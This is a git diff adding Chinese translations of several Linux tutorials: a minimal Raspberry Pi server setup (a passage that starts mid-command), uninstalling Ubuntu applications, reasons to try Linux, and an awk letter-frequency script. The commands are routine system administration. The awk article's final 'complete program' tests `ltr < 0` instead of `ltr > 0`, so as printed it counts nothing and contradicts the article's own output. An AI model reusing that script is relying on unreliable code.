if=/home/alan/Downloads/raspios/2020-08-20-raspios-buster-armhf-lite.img of=/dev/mmcblk0 status=progress conv=fsync +``` + +#### 启动树莓派 + +你只需要一个显示器、键盘、电源适配器来使用树莓派。我还有一个以太网网线用于网络连接,相比无线网络,我更喜欢通过网线来连接一个专用的服务器。 + +插入储存卡并打开树莓派的电源。一旦成功启动,用默认的缺省密码来进行登录:用户名 `pi`,密码`raspberry`。 + +### 系统设置 + +按照以下步骤尽可能最小化设置磁盘空间、内存使用等。我建议尽可能的花时间研究每个配置,使之尽量正确。通常有几种应用配置的方法,有些配置文件和选项可能会被丢弃,所以要查看产品文档确保你没有应用过时的配置。 + +#### 运行 raspi-config + +树莓派系统的主设置程序叫做 `raspi-config`。登录以后立即运行它: + +``` +# raspi-config +``` + +![Raspberry Pi config main window][4] + +它出现了一个扩展根文件系统的选项,可以利用储存卡上所有可利用的空间。选择这个选项之后,重启并重新登录。 + +用 `df` 命令来验证储存卡的总容量是否被完全使用: + +``` +# df -h +``` + +如果你需要设置其他选项,请再次运行 `raspi-config`。它们中的一些选项可以根据你的偏好和配置进行变化。仔细检查所有这些选项,确定没有任何遗漏。为了获得最佳性能,我建议做以下调整。(我跳过了一些我们没有做任何变化的选项。) + + * 系统选项System options:在此你可以设置主机名,最好使用完全限定的域名(FQDN)。你也能在这里更改你的密码,这始终是强烈建议的。 + * 接口选项Interface options:开启 SSH 服务。 + * 性能选项Performance options:将 GPU 内存减少到最低值(16MB)。 + * 本地化选项Localization options:选择你的时区、位置、键盘类型。 + * 高级选项Advanced options:这个选项包括扩展根文件系统的选项。如果你在上面没扩展,一定要在这里做。这样你可以访问储存卡上的所有可用空间。 + * 更新Update:进入更新选项会立即检查 `raspi-config` 工具是否有更新。如果更新可用,它将被下载并应用,`raspi-config` 将在几秒钟后重启。 + +一旦你在 `raspi-config` 中完成这些配置,选择“完成Finish”退出该工具。 + +#### 手动配置 + +我还建议几个其他更改,它们全都要求编辑某种配置文件来手动更改设置。 + +##### 设置静态 IP 地址 + +一般来说,最好用静态 IP 地址设置服务器。通过 `ip` 命令来验证网络接口,并设置 IP 地址和你的缺省网关(路由器)和域名服务(DNS)地址: + +``` +# ip link +1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 +2: eth0: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT group default qlen 1000 + link/ether b8:27:eb:48:3f:46 brd ff:ff:ff:ff:ff:ff +``` + +你还需要知道你的缺省网关和一个及以上的 DNS 服务器地址。将这些信息添加到 `/etc/dhcpcd.conf` 配置文件中(我强烈建议更改之前对这个文件做一个备份): + +``` +# cd /etc +# cp -a dhcpcd.conf dhcpcd.conf.original +``` + +按照以下来编辑文件: + +``` +# vi dhcpcd.conf + +# static IP configuration: +interface eth0 +static ip_address=192.168.1.5/24 +static routers=192.168.1.1 +static domain_name_servers=192.168.1.3 192.168.1.4 +``` + +##### 关闭 IPv6 协议 + +除非你有特别需要使用 IPv6,否则你可能倾向于禁用它。为此,你可以创建两个新文件,其中包括一个单行指令,指示 Linux 内核不要使用 IPv6。 + +首先,创建 `/etc/sysctl.d/disable-ipv6.conf` 文件,其中包含一行指令: + +``` +# cd /etc/sysctl.d +# echo "net.ipv6.conf.all.disable_ipv6 = 1" > disable-ipv6.conf +``` + +然后创建 `/etc/modprobe.d/blacklist-ipv6.conf` 文件包含一行指令: + +``` +# cd /etc/modprobe.d +# echo "blacklist ipv6" > blacklist-ipv6.conf +``` + +##### 关闭 Wi-Fi、蓝牙和音频 + +我的服务器的具体用途并不需要蓝牙和音频,同时,它用以太网连接,并不使用无线(Wi-Fi)。除非你计划用它们,否则按照以下步骤来关闭它们。 + +对 `/boot/config.txt` 这个文件做以下更改(再次强调,我建议为这个文件做个备份): + +``` +# cd /boot +# cp -a config.txt config.txt.original +``` + +加入以下两个指令到文件底部来禁用蓝牙和 Wi-Fi: + + * `dtoverlay=disable-bt` + * `dtoverlay=disable-wifi` + +这些 `echo` 命令就可以完成: + +``` +# cd /boot +# echo "dtoverlay=disable-bt" >> config.txt +# echo "dtoverlay=disable-wifi" >> config.txt +``` + +要关闭音频,更改 `dtparam=audio` 的参数为 `off`。你可以用一个简短的命令 `sed` 来完成: + +``` +# sed -i '/dtparam=audio/c dtparam=audio=off' config.txt +``` + + +最后一步是禁用 Wi-Fi 服务,用 `systemctl mask` 命令来操作: + +``` +systemctl mask wpa_supplicant.service +``` + +如果你不需要其他服务的话,也可以禁用它们: + +* 禁用调制解调器服务:`systemctl disable hciuart` +* 禁用 Avahi 守护进程:`systemctl disable avahi-daemon.service` + +### 最后一步 + +检查你的内存使用量: + +``` +# free -h +``` +我震惊了:我的系统只用了 30MB 的内存。 + +创建个人账户:建议为登录这台服务器的个人创建用户账户。你能分配他们到 `sudo` 组允许他们运行管理命令。举个例子,创建一个用户名为 George 的一个账户。 + +``` +# adduser george +# usermod -a -G adm,sudo,users george +``` + +进行更新:这是一个重要的步骤。应用更新来获取树莓派操作系统的最新修复。 + +``` +# apt update +# apt full-upgrade +``` + +重启:重启你的新服务器是一个好主意: + +``` +# systemctl reboot +``` + +安装 Cockpit:你可以在树莓派系统上安装著名的 Linux Web 控制台 [Cockpit][5],它提供了一个基于 HTML 界面来远程管理和监控你的服务器。我最近写了一篇 [Cockpit 入门][6] 的文章。用这个命令来安装它 + +``` +# apt install cockpit +``` + +现在我的树莓派服务器已经准备好托管服务器了,我能用它来做 [网页服务器][7]、[VPN 服务器][8]、 [Minetest][9] 等游戏服务器,或者就像我做的基于 [Pi-Hole 的广告屏蔽器][10] 。 + +### 保持旧硬件的活力 + +不论你有什么硬件,仔细地精简并控制你的操作系统和软件包,可以使你的系统资源使用量保持在低水平,以便你获得最大收益。这还可以通过减少试图利用漏洞的潜在恶意行为者可用的服务和软件包数量,提高了安全性。 + +因此,在你丢弃旧硬件之前,考虑一下能够继续使用的各种可能性。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/minimal-server-raspberry-pi + +作者:[Alan Formy-Duval][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alanfdoss +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/RaspberryPi.SUNY_.jpg?itok=uS_-VUcb (Raspberry Pi board Model B) +[2]: https://opensource.com/resources/raspberry-pi +[3]: https://www.raspberrypi.org/software/operating-systems +[4]: https://opensource.com/sites/default/files/uploads/raspi-config-main.png (Raspberry Pi config main window) +[5]: https://cockpit-project.org/ +[6]: https://opensource.com/article/20/11/cockpit-server-management +[7]: https://opensource.com/article/17/3/building-personal-web-server-raspberry-pi-3 +[8]: https://opensource.com/article/19/6/raspberry-pi-vpn-server +[9]: https://github.com/minetest +[10]: https://opensource.com/article/18/2/block-ads-raspberry-pi diff --git a/published/202203/20210121 How to Uninstall Applications from Ubuntu Linux.md b/published/202203/20210121 How to Uninstall Applications from Ubuntu Linux.md new file mode 100644 index 0000000000..aad583db3a --- /dev/null +++ b/published/202203/20210121 How to Uninstall Applications from Ubuntu Linux.md @@ -0,0 +1,166 @@ +[#]: collector: (lujun9972) +[#]: translator: (amagicboy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14398-1.html) +[#]: subject: (How to Uninstall Applications from Ubuntu Linux) +[#]: via: (https://itsfoss.com/uninstall-programs-ubuntu/) +[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) + +初级:Ubuntu 中怎么卸载 Linux 应用 +======= + +![](https://img.linux.net.cn/data/attachment/album/202203/26/151617chxhdszd0lcpcpkz.jpg) + +不再使用某个应用程序了?删除它吧。 + +卸载不再使用的应用是 [最简单释放磁盘空间的方法][1] ,而且可以使系统保持整洁。 + +在此篇入门教程中,我会介绍几种不同在 Ubuntu 上卸载应用程序的方法。 + +在 Ubuntu 中有几种方法 [安装应用][2] ,同意也有以下几种方法卸载应用: + +- 从 Ubuntu 软件中心Software Center 卸载应用(桌面用户) +- 用 `apt remove` 命令卸载应用 +- 用命令行中删除 Snap 应用(中级到高级用户) + +让我们来一个一个了解这些方法。 + +### 方法 1:用 Ubuntu 软件中心卸载应用 + +在左侧栏或者菜单中找到 Ubuntu 软件中心Software Center,打开它。 + +![][3] + +在 已安装Installed 栏中列出了已安装的应用。 + +![][4] + +如果你要找的应用不在 已安装Installed 栏中,可以使用搜索查找应用。 + +![][5] + +打开已经安装的应用,有一个 移除Remove 选项,点击它。 + +![][6] + +这会请求输入账户密码,输入后应用会在几秒内删除。 + +### 方法2: Ubuntu 命令行卸载应用 + +安装应用时使用 `apt-get install` 或者 `apt install` 。 +卸载应用时使用 `apt-get remove` 或者 `apt remove` ,而不是 `apt-get uninstall` 。 + +按照以下方式使用命令: + +``` +sudo apt remove program_name +``` + +执行此操作会请求你的账户密码。当输入密码时,屏幕上不会有提示。输入完后按下回车。 + +待删除的应用不会立刻被删除。你需要确认。当询问你的确认时,请输入回车或者按下 `Y`: + +![][7] + +请在命令行中输入准确的包的名字,不然会出现 “[不能找到软件包的错误][8]” 错误 。 + +不要担心记不住具体的应用名字,你可以使用超级有用的 Tab 补全应用名称。 Tab 是你必须知道的 [Linux 命令行技巧][9] 之一。 + +你只需要输入想要卸载应用的前几个字母,然后按下 `tab` ,会提示以这几个字母开头的已安装应用程序。 + +找到要卸载的应用名称,输入完整的应用名称然后卸载。 + +![][10] + +如果不知道具体的应用名称或者开头字母,你可以 [列出 Ubuntu 中所有已安装的包][11] ,然后查找符合你记忆的应用名称。 + +比如,下图的命令会列出所有已安装的应用名称中包含 ‘my’ 的应用,不仅仅是以 ‘my’ 开头的应用。 + +``` +apt list --installed | grep -i my +``` + +![][12] + +这非常酷炫对不对?在 Ubuntu 中使用卸载命令时请注意应用名。 + +#### 补充:使用 apt purge 卸载应用(进阶用户) + +当在 Ubuntu 中卸载应用时,应用程序会被卸载,但是会留下细小的、修改过的用户配置文件。这些文件是故意被留下的,因为当你再次安装同样的应用时,会使用这些遗留的配置文件。 + +如果你想完全卸载应用,你可以使用 `apt purge` 命令代替 `apt remove` 命令,或者在 `apt remove` 命令后再使用它。 + +``` +sudo apt purge program_name +``` + +注意 `apt purge` 令不会删除保存在用户目录下的数据或者配置文件。 + +### 方法3: Ubuntu 中卸载 Snap 应用 + +前面的几种方式可用于使用 `apt` 命令、软件中心Software Center或者直接使用 deb 文件安装的应用。 + +Ubuntu 也推出了一个名为 [Snap][13] 的包管理系统。在软件中心Software Center中的大部分应用都是 Snap 包格式。 + +你可以使用 软件中心Software Center 轻松地卸载这些应用,也可以使用命令行卸载。 + +列出所有已经安装的 Snap 包名字: + +``` +snap list +``` + +![][14] + +选择你想要卸载的应用,然后卸载,这不会要求你确认是否删除。 + +``` +sudo snap remove package_name +``` + +### 妙招:用一个神奇的命令清理系统 + +到此你已经学会怎么卸载应用,现在使用一个简单的命令清理卸载残留,比如不再用到的依赖或 Linux 内核头文件。 + +在终端输入如下命令: + +``` +sudo apt autoremove +``` + +这条命令很安全,而且会释放几百 MB 的磁盘空间。 + +### 总结 + +本文一共介绍了三种卸载应用的方法,包括通过图形界面卸载、命令行卸载,以便你了解所有方式。 + +希望此篇教程对 Ubuntu 初学者有所帮助,欢迎提出问题和建议。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/uninstall-programs-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[amagicowboy](https://github.com/amagicboy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/free-up-space-ubuntu-linux/ +[2]: https://itsfoss.com/remove-install-software-ubuntu/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2019/06/ubuntu_software_applications_menu.jpg?resize=800%2C390&ssl=1 +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/installed-apps-ubuntu.png?resize=800%2C455&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/search-installed-apps-ubuntu.png?resize=800%2C455&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/remove-applications-ubuntu.png?resize=800%2C487&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/apt-remove-program-ubuntu.png?resize=768%2C424&ssl=1 +[8]: https://itsfoss.com/unable-to-locate-package-error-ubuntu/ +[9]: https://itsfoss.com/linux-command-tricks/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/remove-package-ubuntu-linux.png?resize=768%2C424&ssl=1 +[11]: https://itsfoss.com/list-installed-packages-ubuntu/ +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/search-list-installed-apps-ubuntu.png?resize=768%2C424&ssl=1 +[13]: https://itsfoss.com/install-snap-linux/ +[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/list-snap-remove.png?resize=800%2C407&ssl=1 diff --git a/published/202203/20210215 Why everyone should try using Linux.md b/published/202203/20210215 Why everyone should try using Linux.md new file mode 100644 index 0000000000..3a8fbfc445 --- /dev/null +++ b/published/202203/20210215 Why everyone should try using Linux.md @@ -0,0 +1,104 @@ +[#]: collector: (lujun9972) +[#]: translator: (sthwhl) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14334-1.html) +[#]: subject: (Why everyone should try using Linux) +[#]: via: (https://opensource.com/article/21/2/try-linux) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +为什么每个人都可以试试 Linux +====== + +> 如果你对 Linux 有着充满好奇,那开源社区可以让你轻松上手 Linux。 + +![](https://img.linux.net.cn/data/attachment/album/202203/07/091531g2rex2ne073xeler.jpg) + +如今,人们有更多的理由喜欢 Linux。在这里,我会分享使用 Linux 的 21 个不同的理由。我们来讨论讨论,为什么每个人都可以尝试一下 Linux。 + +Linux 对外行人来说,好像是一个神秘的东西。每当人们说起 Linux,就觉得它是计算机管理员或者系统管理员使用的,但也在讨论在笔记本电脑和手机上使用 Linux。技术网站上列出了 [你需要知道][2] 的 [十大 Linux 命令][3],但也有很多人在讨论 [Linux 桌面(不止一个)是多么令人激动][4]。 + +那么, Linux 到底是干嘛的呢? + +Linux 对可用性的支持是它众多重要特性之一。如果你对 Linux 有着充满好奇,那开源社区可以让你轻松上手 Linux。 + +### 先尝试 Linux 应用 + +无论是从 Windows 换到 Linux、还是在 Windows 和 Mac 之间横跳,亦或是从 Mac 换到 Linux,要想改变一个人的计算机操作系统的使用习惯是一件很难的事。虽然这件事很少会去讨论,不过现在的电脑是一个比较个性化的东西,每个人都习惯于自己电脑当前的使用习惯,他们往往不愿意去做太大的变化。对我来说,就算在工作电脑跟个人电脑中来回切换(两者都运行相同的操作系统),也需要我调整我的心理和肌肉习惯,仅仅是因为两个电脑针对不同的活动场景进行了优化。尽管我被附近的人称为“很了解计算机的家伙”(,我也这么认为)。但如果我不得不更换我常用的操作系统,我会觉得自己的生产力跟舒适感将在一两周内直线下降。不过这还是比较表层的,虽然我知道怎么用其他的操作系统,但是我需要时间去形成新的直觉跟习惯,需要记住在新系统中,一些不起眼的配置选项的位置,还得知道要怎么使用新的功能。 + +出于这个原因,我经常告诉那些对 Linux 感到新奇的人,学习 Linux 的第一步就是要去使用 Linux 的应用。实际上,Linux 上专用的应用程序不多,主要是因为 Linux 的大多数应用程序是开源的,因此热衷于在所有平台之间移植。在 Linux 上的很多应用程序,可以在你目前的非 Linux 的平台上去尝试。把替换你默认的应用程序作为一个目标,不管是出于习惯还是方便,都要用开源的等价物。 + +### 应用替换 + +这个练习的目的是通过你最终要运行的应用软件,来实现向 Linux 的软过渡。一旦你习惯了一套新的应用程序,那么在 Linux 系统上,除了系统设置和文件管理外,就没有其他什么要适应的了。 + +如果你还不确定哪个是自己常用的应用,只需看看你的最近使用的应用程序列表(如果你的系统上没有最近使用应用的列表,那还等啥,赶紧换成 Linux 系统吧)。一旦你确定了必须使用的应用程序,可以看看我们的 [应用替代方案][5] 页面,了解许多被视为与流行的专有应用程序等效的常用开源应用程序。 + +### 获取 Linux + +不是所有的开源软件都能移植到其他平台,并从在 Linux 上运行而受益。如果你想最终切换到 Linux,那就得完成这个过渡。幸运的是,要安装 Linux 就像下载它一样简单,几乎就像是另一个开源程序一样。 + +通常,Linux 的安装镜像提供了实时模式跟安装模式两种模式,这意味着你可以从 Linux 介质启动,并且在实时模式下运行使用,而无需将系统安装到计算机。这是了解操作系统的好方法,但因为只是一种临时体验,所以启动后不会保留数据。但是,有些发行版,如 [Porteus Linux][6],是专门为在 USB 上运行而设计的,这样你的个人数据就能保存。我在钥匙串上挂了一个 Porteus 的 U 盘,所以我无论在哪里,我都有一个可以启动的Linux 系统。 + +![Porteus Live Linux 发行版本][7] + +### “最好的” Linux + +一旦你决定开始安装 Linux 系统,你会发现有很多 Linux 发行版都是免费的。如果你之前用的操作系统版本只有一两个选择(例如,家庭版或商业版),那么你会对 Linux 操作系统有这么多发行版感到困惑。不过,实际情况没这么复杂。Linux 就是 Linux,它的下载和安装的不同“流派”没有什么太大的不同。像 [Fedora][8]、 [Debian][9]、[Linux Mint][10] 和 [Elementary][11] 这些大牌的系统厂商都提供了同样的体验,只是在重点略有不同。 + + * Fedora 以软件更新迭代快而出名 + * Linux Mint 可以轻松安装缺失的驱动程序 + * Debian 因能提供长期的支持而受欢迎,因而更新是相对缓慢,但是可靠性很高 + * Elementary 提供了精美的桌面体验和几个定制的特殊应用程序 + +总而言之,所谓最好的“Linux 系统”,即是最适合你的 Linux 系统。而最适合你的 Linux,就是,在你尝试过后,发现你所有的计算机功能仍然能按预期工作的 Linux。 + +### 获取驱动程序 + +大多数的驱动程序已经被捆绑在 Linux 的内核中了(或者作为内核模块),特别是在使用一到两年前的计算机零件和外围设备时常常如此。对于已经上市一段时间的设备,Linux 程序员有机会去开发驱动程序或者将公司的驱动程序集成到系统里。我曾不止一次让人惊讶,只需将 Wacom 图形输入板、游戏控制器、打印机或扫描仪连接到我的 Linux 计算机中,不需要下载安装驱动程序,而且几乎不用配置,可以立即使用。 + +专有操作系统在处理设备驱动程序方面有两种策略。要么是限制用户在操作系统中使用的设备,要么是付费给公司,让他们编写驱动程序并与设备一起提供。第一种方法有种让人不适的限制性,但是大多数人(可悲的)习惯了某些设备只能在某些平台上运行的想法。而后一种方法,被认为是一种奢侈,但在实践中,这种方法太过于依赖程序员。旧货店有很多计算机外围设备,虽然它们设备状况良好,但却基本上报废了。因为设备制造商已经不再维护此设备在现代系统运行所需要的驱动程序了。 + +对于 Linux 来说,驱动程序要么由制造设备的厂商来开发,要么是由 Linux 的程序员来开发。这就可能会导致,某些驱动程序集成到操作系统的时间会被延迟(例如,新的设备可能要在发布后六个月才能在 Linux 系统上运行),但它有一个明显的优势,即长期支持。 + +如果你发现有一个驱动程序还没有进入发行版,那你可以等几个月再试一次,有可能是驱动程序已经集成到了系统的镜像里了,或者可以到不同的发行版中找找有没有你要的驱动程序。 + +### 为 Linux 付费 + +通过购买预装 Linux 的 PC 或者经过 Linux 认证的 PC,可以避免所有的选择和关于兼容性的担忧。一些供应商提供预装 Linux 的计算机,如所有的 [System76][12] 和部分 [Lenovo][13] 型号。此外,所有的 Lenovo 型号都有 [Linux 兼容性认证][14]。 + +这是迄今为止尝试使用 Linux 最简单的方法。 + +### 迈向 Linux + +这是一个挑战,浏览自己电脑上安装的每个应用程序,并找到潜在的对应开源替代程序。选择一个你经常使用但不是每天都用的应用程序,在下次要用的时候换成开源的应用程序。花点时间学习新的应用程序,直到能够将它作为你的新的默认程序,或者直到你确定需要尝试一个新的选择。 + +随着你使用的开源产品越多,你就越准备好进入激动人心的 Linux 世界。最后,你会用上 Linux 桌面还有你最喜欢的开源应用程序。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/try-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[sthwhl](https://github.com/sthwhl) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_3.png?itok=qw2A18BM (Woman sitting in front of her computer) +[2]: https://opensource.com/article/19/12/linux-commands +[3]: https://opensource.com/article/18/4/10-commands-new-linux-users +[4]: https://opensource.com/article/20/5/linux-desktops +[5]: https://opensource.com/alternatives +[6]: http://porteus.org +[7]: https://opensource.com/sites/default/files/porteus5.png +[8]: http://getfedora.org +[9]: http://debian.org +[10]: http://linuxmint.com +[11]: http://elementary.io +[12]: http://system76.com +[13]: http://lenovo.com +[14]: https://forums.lenovo.com/t5/Linux-Operating-Systems/ct-p/lx_en diff --git a/published/202203/20210401 Use awk to calculate letter frequency.md b/published/202203/20210401 Use awk to calculate letter frequency.md new file mode 100644 index 0000000000..2cb3958acd --- /dev/null +++ b/published/202203/20210401 Use awk to calculate letter frequency.md @@ -0,0 +1,277 @@ +[#]: subject: (Use awk to calculate letter frequency) +[#]: via: (https://opensource.com/article/21/4/gawk-letter-game) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14375-1.html) + +使用 awk 统计字母频率 +====== + +> 编写一个 awk 脚本来找到一组单词中出现次数最多(和最少)的单词。 + +![](https://img.linux.net.cn/data/attachment/album/202203/20/085052bajyoejnea8cpw5j.jpg) + +近一段时间,我开始编写一个小游戏,在这个小游戏里,玩家使用一个个字母块来组成单词。编写这个游戏之前,我需要先知道常见英文单词中每个字母的使用频率,这样一来,我就可以找到一组更有用的字母块。字母频次统计在很多地方都有相关讨论,包括在 [维基百科][2] 上,但我还是想要自己来实现。 + +Linux 系统在 `/usr/share/dict/words` 文件中提供了一个单词列表,所以我已经有了一个现成的单词列表。然而,尽管这个 `words` 文件包含了很多我想要的单词,却也包含了一些我不想要的。我想要的单词首先不能是复合词(即不包含连接符和空格的单词),也不能是专有名词(即不包含大写字母单词)。为了得到这个结果,我可以运行 `grep` 命令来取出只由小写字母组成的行: + +``` +$ grep  '^[a-z]*$' /usr/share/dict/words +``` + +这个正则表达式的作用是让 `grep` 去匹配仅包含小写字母的行。表达式中的字符 `^` 和 `$` 分别代表了这一行的开始和结束。`[a-z]` 分组仅匹配从 “a” 到 “z” 的小写字母。 + +下面是一个输出示例: + +``` +$ grep  '^[a-z]*$' /usr/share/dict/words | head +a +aa +aaa +aah +aahed +aahing +aahs +aal +aalii +aaliis +``` + +没错,这些都是合法的单词。比如,“aahed” 是 “aah” 的过去式,表示在放松时的感叹,而 “aalii” 是一种浓密的热带灌木。 + +现在我只需要编写一个 `gawk` 脚本来统计出单词中各个字母出现的次数,然后打印出每个字母的相对频率。 + +### 字母计数 + +一种使用 `gawk` 来统计字母个数的方式是,遍历每行输入中的每一个字符,然后对 “a” 到 “z” 之间的每个字母进行计数。`substr` 函数会返回一个给定长度的子串,它可以只包含一个字符,也可以是更长的字符串。比如,下面的示例代码能够取到输入中的每一个字符 `c`: + +``` +{ + len = length($0); for (i = 1; i <= len; i++) { + c = substr($0, i, 1); + } +} +``` + +如果使用一个全局字符串变量 `LETTERS` 来存储字母表,我就可以借助 `index` 函数来找到某个字符在字母表中的位置。我将扩展 `gawk` 代码示例,让它在输入数据中只取范围在 “a” 到 “z” 的字母: + +``` +BEGIN { LETTERS = "abcdefghijklmnopqrstuvwxyz" } + +{ + len = length($0); for (i = 1; i <= len; i++) { + c = substr($0, i, 1); + ltr = index(LETTERS, c); + } +} +``` + +需要注意的是,`index` 函数将返回字母在 `LETTERS` 字符串中首次出现的位置,第一个位置返回 1,如果没有找到则返回 0。如果我有一个大小为 26 的数组,我就可以利用这个数组来统计每个字母出现的次数。我将在下面的示例代码中添加这个功能,每当一个字母出现在输入中,我就让它对应的数组元素值增加 1(使用 `++`): + +``` +BEGIN { LETTERS = "abcdefghijklmnopqrstuvwxyz" } +  +{ +    len = length($0); for (i = 1; i <= len; i++) { +        c = substr($0, i, 1); +        ltr = index(LETTERS, c); +  +        if (ltr > 0) { +            ++count[ltr]; +        } +    } +} +``` + +### 打印相对频率 + +当 `gawk` 脚本统计完所有的字母后,我希望它能输出每个字母的频率。毕竟,我对输入中各个字母的个数没有兴趣,我更关心它们的 _相对频率_。 + +我将先统计字母 “a” 的个数,然后把它和剩余 “b” 到 “z” 字母的个数比较: + + +``` +END { +    min = count[1]; for (ltr = 2; ltr <= 26; ltr++) { +        if (count[ltr] < min) { +            min = count[ltr]; +        } +    } +} +``` + +在循环的最后,变量 `min` 会等于最少的出现次数,我可以把它为基准,为字母的个数设定一个参照值,然后计算打印出每个字母的相对频率。比如,如果出现次数最少的字母是 “q”,那么 `min` 就会等于 “q” 的出现次数。 + +接下来,我会遍历每个字母,打印出它和它的相对频率。我通过把每个字母的个数都除以 `min` 的方式来计算出它的相对频率,这意味着出现次数最少的字母的相对频率是 1。如果另一个字母出现的次数恰好是最少次数的两倍,那么这个字母的相对频率就是 2。我只关心整数,所以 2.1 和 2.9 对我来说是一样的(都是 2)。 + +``` +END { +    min = count[1]; for (ltr = 2; ltr <= 26; ltr++) { +        if (count[ltr] < min) { +            min = count[ltr]; +        } +    } +  +    for (ltr = 1; ltr <= 26; ltr++) { +        print substr(LETTERS, ltr, 1), int(count[ltr] / min); +    } +} +``` + +### 最后的完整程序 + +现在,我已经有了一个能够统计输入中各个字母的相对频率的 `gawk` 脚本: + +``` +#!/usr/bin/gawk -f +  +# 只统计 a-z 的字符,忽略 A-Z 和其他的字符 +  +BEGIN { LETTERS = "abcdefghijklmnopqrstuvwxyz" } +  +{ +    len = length($0); for (i = 1; i <= len; i++) { +        c = substr($0, i, 1); +        ltr = index(LETTERS, c); +  +        if (ltr < 0) { +            ++count[ltr]; +        } +    } +} +  +# 打印每个字符的相对频率 +    +END { +    min = count[1]; for (ltr = 2; ltr <= 26; ltr++) { +        if (count[ltr] < min) { +            min = count[ltr]; +        } +    } +  +    for (ltr = 1; ltr <= 26; ltr++) { +        print substr(LETTERS, ltr, 1), int(count[ltr] / min); +    } +} +``` + +我将把这段程序保存到名为 `letter-freq.awk` 的文件中,这样一来,我就可以在命令行中更方便地使用它。 + +如果你愿意的话,你也可以使用 `chmod +x` 命令把这个文件设为可独立执行。第一行中的 `#!/usr/bin/gawk -f` 表示 Linux 会使用 `/usr/bin/gawk` 把这个文件当作一个脚本来运行。由于 `gawk` 命令行使用 `-f` 来指定它要运行的脚本文件名,你需要在末尾加上 `-f`。如此一来,当你在 shell 中执行 `letter-freq.awk`,它会被解释为 `/usr/bin/gawk -f letter-freq.awk`。 + +接下来我将用几个简单的输入来测试这个脚本。比如,如果我给我的 `gawk` 脚本输入整个字母表,每个字母的相对频率都应该是 1: + +``` +$ echo abcdefghijklmnopqrstuvwxyz | gawk -f letter-freq.awk +a 1 +b 1 +c 1 +d 1 +e 1 +f 1 +g 1 +h 1 +i 1 +j 1 +k 1 +l 1 +m 1 +n 1 +o 1 +p 1 +q 1 +r 1 +s 1 +t 1 +u 1 +v 1 +w 1 +x 1 +y 1 +z 1 +``` + +还是使用上述例子,只不过这次我在输入中添加了一个字母 “e”,此时的输出结果中,“e” 的相对频率会是 2,而其他字母的相对频率仍然会是 1: + +``` +$ echo abcdeefghijklmnopqrstuvwxyz | gawk -f letter-freq.awk +a 1 +b 1 +c 1 +d 1 +e 2 +f 1 +g 1 +h 1 +i 1 +j 1 +k 1 +l 1 +m 1 +n 1 +o 1 +p 1 +q 1 +r 1 +s 1 +t 1 +u 1 +v 1 +w 1 +x 1 +y 1 +z 1 +``` + +现在我可以跨出最大的一步了!我将使用 `grep` 命令和 `/usr/share/dict/words` 文件,统计所有仅由小写字母组成的单词中,各个字母的相对使用频率: + +``` +$ grep  '^[a-z]*$' /usr/share/dict/words | gawk -f letter-freq.awk +a 53 +b 12 +c 28 +d 21 +e 72 +f 7 +g 15 +h 17 +i 58 +j 1 +k 5 +l 36 +m 19 +n 47 +o 47 +p 21 +q 1 +r 46 +s 48 +t 44 +u 25 +v 6 +w 4 +x 1 +y 13 +z 2 +``` + +在 `/usr/share/dict/words` 文件的所有小写单词中,字母 “j”、“q” 和 “x” 出现的相对频率最低,字母 “z” 也使用得很少。不出意料,字母 “e” 是使用频率最高的。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/gawk-letter-game + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc-docdish-typewriterkeys-3.png?itok=NyBwMdK_ (Typewriter keys in multicolor) +[2]: https://en.wikipedia.org/wiki/Letter_frequency diff --git a/published/202203/20210408 5 commands to level-up your Git game.md b/published/202203/20210408 5 commands to level-up your Git game.md new file mode 100644 index 0000000000..5504ee1386 --- /dev/null +++ b/published/202203/20210408 